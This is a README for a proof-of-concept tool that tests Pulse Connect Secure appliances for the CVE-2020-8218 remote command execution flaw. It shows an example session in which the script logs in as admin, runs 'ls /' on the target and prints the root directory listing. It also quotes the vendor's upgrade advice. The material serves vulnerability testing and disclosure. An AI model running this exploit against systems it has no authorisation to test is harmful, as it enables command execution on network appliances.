withdk/pulse-gosecure-rce-pocTool to test for existence of CVE-2020-8218
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Proof of concept tool to test for the existence of Pulse Secure RCE (CVE-2020-8218) and to encourage further research. This tool was built around the POC from the GoSecure advisory. All credit to them for the finding.
As recommended by Pulse Secure: "The solution for these vulnerabilities is to upgrade the Pulse Connect Secure and Pulse Policy Secure server software version to the 9.1R8. This following PCS/PPS version can be downloaded from https://my.pulsesecure.net."
Example usage:
withdk@hogwarts source % python pulse-gosecure-rce.py -u https://192.168.1.120 --user admin --password mypassword
[*] Successfully logged in
(Cmd) ls /
[*] Sending cmd ls /
[*] Sending exploit...
[*] Getting output...
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2.6.32.358-x86_64
bin
boot
cgroups
data
dev
etc
home
lib
lib64
modules
opt
pkg
proc
runtime
sbin
sys
tmp
usr
va
var
webserver
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(Cmd) exit
Bye
[*] Getting logout URL
[*] Sending logout URL
[*] Successfully logged out.
DK @withdk
September 2020
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